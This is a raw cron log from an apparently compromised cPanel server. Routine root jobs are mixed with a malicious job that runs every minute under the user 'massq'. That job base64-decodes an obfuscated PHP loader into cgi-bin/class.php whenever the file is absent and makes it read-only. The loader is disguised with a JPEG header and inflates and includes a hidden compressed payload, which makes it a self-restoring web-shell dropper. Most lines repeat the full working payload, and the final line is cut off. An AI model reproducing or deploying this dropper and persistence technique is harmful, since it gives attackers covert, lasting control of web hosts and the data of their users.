Apr 10 10:11:01 server CROND[3019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:12:01 server CROND[3091]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 10:12:01 server CROND[3092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:13:01 server CROND[3215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:14:01 server CROND[3387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:15:01 server CROND[3456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:15:01 server CROND[3457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:15:01 server CROND[3458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:15:01 server CROND[3459]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr 10 10:16:01 server CROND[3591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:17:01 server CROND[3655]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:18:01 server CROND[3734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:19:01 server CROND[3900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:20:01 server CROND[3976]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 10:20:01 server CROND[3978]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 10:20:01 server CROND[3979]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 10:20:01 server CROND[3980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 10:20:01 server CROND[3983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:21:01 server CROND[4123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:22:01 server CROND[4185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:23:01 server CROND[4257]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 10:24:01 server CROND[4420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBq